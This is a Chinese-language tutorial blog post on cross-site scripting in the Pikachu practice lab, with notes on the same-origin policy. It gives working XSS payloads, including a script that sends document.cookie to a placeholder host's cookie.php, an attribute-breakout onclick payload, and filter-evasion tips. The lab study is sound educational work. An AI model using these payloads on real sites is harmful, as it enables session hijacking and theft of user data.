当前位置: 首页 > news >正文

【网络安全】-xss跨站脚本攻击-pikachu

文章目录

前言  什么是xss跨站脚本攻击?

 1.xss的分类:

     1.1 反射型xss

  1.2 存储型xss

  1.3 Dom型xss:

 2.同源策略:

     2.1同源策略的定义

     2.2同源策略的绕过

  2.3 绕过同源策略的绕过

           


前言  什么是xss跨站脚本攻击?

因为网站程序对用户的输入过滤不足,导致hacker可以在网站上插入恶意脚本代码。

这些脚本代码在输出时会被当成源进行代码解析执行,弹窗显示在页面上,对其他用户造成影响,例如劫持cookie、钓鱼、挂马、盗取用户资料、利用用户身份进行非法活动或者直接上传木马病毒侵害主机。


1.xss的分类:

1.1 反射型xss

传参不被存储在数据库中,服务端只是简单的把反射型XSS用户输入的数据反射给浏览器,是一次性的。

举例:皮卡丘靶场,反射型xss。
输入1,查看回显信息,message=1&sumbmit=提交


 
依次输入2,3查看。
发现回显信息分别是message=2&sumbmit=提交,message=3&sumbmit=提交。

分析:message=我们输入的信息&点击提交的表单。

而本题是xss跨站脚本攻击, 我们输入的信息就是xss脚本代码的插入点,可以在网站上插入恶意脚本代码, 等同于message=恶意脚本代码&点击提交的表单。

我们插入<script>alert('XSS');</script>恶意脚本试试。


 
这说明我们插入恶意脚本已经被执行。

接下来便可以进行xss跨站脚本攻击。
(1)    劫持cookie:
1.    弹出cookie:<script>alert(document.cookie)</script>
 
2. 劫持cookie:
第一步:编写cookie.php脚本
第二步:
<script>document.location='http://主机地址/cookie.php   //cookie地址
?cookie='+document.cookie; </script>      //劫持cookie
第四步:访问document.location='http://主机地址/cookie.php  查看。

(2)    钓鱼钓鱼、挂马、盗取用户资料之类的大差不差,仅仅结合了csrf,深入学习时别忘了《网络安全法》。

1.2 存储型xss

传参被存在数据库里面可以重复使用。


 
输入1,2都没有回显信息,插入<script>alert('XSS');</script>脚本试试。


 
还是弹窗,感觉没什么特别的。
直到我多输了几次,每次进入都是满屏弹窗,一个接一个,有这时间,哪怕知道hacker入侵也只能干等着,想想那种xx的心……

1.3 Dom型xss:

不与后台服务器产生数据交,通过前端的dom节点形成。


 
输入1,回显你看到了什么?
输入2,还是回显你看到了什么?
插入恶意脚本<script>alert('XSS');</script>试试,还是回显你看到了什么?

好像是固定外链,点一下返回报错界面。


 
联想Dom型xss:不与后台服务器产生数据交,通过前端的dom节点形成。
所以你看到了什么?是前端的dom节点,检查页面源代码,


 
 右上角,点击你看到了什么?进行检查,灰色选框自动跳转到代码行,下拉菜单得到源代码。
 
分析:
输入1
源代码<a href="1" _msttexthash="27140139" _msthash="89">你看到了什么?</a>
其中点击1跳转的便是我们的报错界面。

但是插入恶意脚本为什么也是外链?
不该是弹窗吗?

直到我们查看源代码,才发现:我们的恶意脚本<script>alert('XSS');</script>
因闭合方式空缺成了
 
根据提示:


 
构建' οnclick="alert('xss')">,弹出脚本。

2.同源策略:

 为了安全考虑,所有浏览器都约定了同源策略-禁止页面加载或执行与自身来源不同的域中的任何脚本。

2.1同源策略的定义:

在同源策略中,“源”是由三个要素组成的:
1.    协议(Protocol):如http、https。
2.    域名(Domain):如example.com、localhost。
3.    端口(Port):如80(HTTP的默认端口)、443(HTTPS的默认端口)。
只有当两个页面的协议、域名和端口号都相同时,它们才被认为是同源的。

2.2同源策略的绕过:

同源策略虽然安全,但在实际生活中,难免需要跨域访问资源:
1.    CORS(跨源资源共享):服务器设置Access-Control-Allow-Origin等CORS头部,允许来自特定源的请求访问资源。
2.    JSONP:一种非官方的跨域数据交换协议,通过动态插入<script>标签来实现跨域请求,但需要注意的是,JSONP只支持GET请求,并且存在安全风险,因为它无法验证响应内容的来源。
3.    其他iframe、location.hash、window.name、HTML标签也可以用于实现跨域资源访问。

2.3 绕过同源策略的绕过

在绕过同源策略时,又引入了跨站脚本攻击(XSS)等安全风险。

 1. 只是严格过滤了恶意脚本语言的关键字,可以注释,编码,拼凑,大小写混合绕过。
 2. 标签语法蓸换
 3. 特殊符号干扰
 4. 提交方式更改
 5. 结合其他漏洞绕过

结语:xss攻击,同源策略,同源策略的绕过,绕过同源策略的绕过,怎么说呢,好像一场宿命的轮回......

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Python 全局变量使用指南
  • 【人工智能】大模型重要概念
  • Django 模型索引的创建
  • springboot(IDEA)开发pom配置文件引用本地jar包
  • 树莓派3B点灯(1)-- 四种方法
  • 利士策分享时间管理:驾驭生活的艺术
  • 【Redis】主从复制 - 源码
  • 构建安全畅通的道路网络:EasyCVR视频汇聚平台在道路监控中的创新应用
  • Spark 集群进行 ETL 的架构介绍
  • appium历史版本地址链接
  • k8s集群部署:建立第一个微服务-注册中心Eureka
  • udp网络通信 socket
  • 简单说说关于shell中zsh和bash的选择
  • Linux之ansible的playbook剧本(yaml文件)
  • VMwareWorkstation安装UOS系统(1070版本)教程
  • [Vue CLI 3] 配置解析之 css.extract
  • 【React系列】如何构建React应用程序
  • 2017年终总结、随想
  • Angular6错误 Service: No provider for Renderer2
  • JavaScript 奇技淫巧
  • mysql_config not found
  • nginx 配置多 域名 + 多 https
  • Python爬虫--- 1.3 BS4库的解析器
  • Travix是如何部署应用程序到Kubernetes上的
  • vue2.0项目引入element-ui
  • 彻底搞懂浏览器Event-loop
  • 给新手的新浪微博 SDK 集成教程【一】
  • 技术胖1-4季视频复习— (看视频笔记)
  • 深度学习在携程攻略社区的应用
  • 微信小程序填坑清单
  • 一些css基础学习笔记
  • 应用生命周期终极 DevOps 工具包
  • 主流的CSS水平和垂直居中技术大全
  • 看到一个关于网页设计的文章分享过来!大家看看!
  • ​io --- 处理流的核心工具​
  • ​ssh-keyscan命令--Linux命令应用大词典729个命令解读
  • #NOIP 2014# day.1 生活大爆炸版 石头剪刀布
  • (附源码)node.js知识分享网站 毕业设计 202038
  • (附源码)springboot太原学院贫困生申请管理系统 毕业设计 101517
  • (附源码)springboot助农电商系统 毕业设计 081919
  • (附源码)计算机毕业设计SSM教师教学质量评价系统
  • (免费领源码)python#django#mysql公交线路查询系统85021- 计算机毕业设计项目选题推荐
  • (四)docker:为mysql和java jar运行环境创建同一网络,容器互联
  • (转载)PyTorch代码规范最佳实践和样式指南
  • .NET Core 发展历程和版本迭代
  • .NET Core跨平台微服务学习资源
  • .NET 动态调用WebService + WSE + UsernameToken
  • .Net插件开发开源框架
  • .NET开发不可不知、不可不用的辅助类(一)
  • .NET企业级应用架构设计系列之技术选型
  • .Net中的集合
  • .secret勒索病毒数据恢复|金蝶、用友、管家婆、OA、速达、ERP等软件数据库恢复
  • /etc/shadow字段详解
  • :O)修改linux硬件时间
  • @Async注解的坑,小心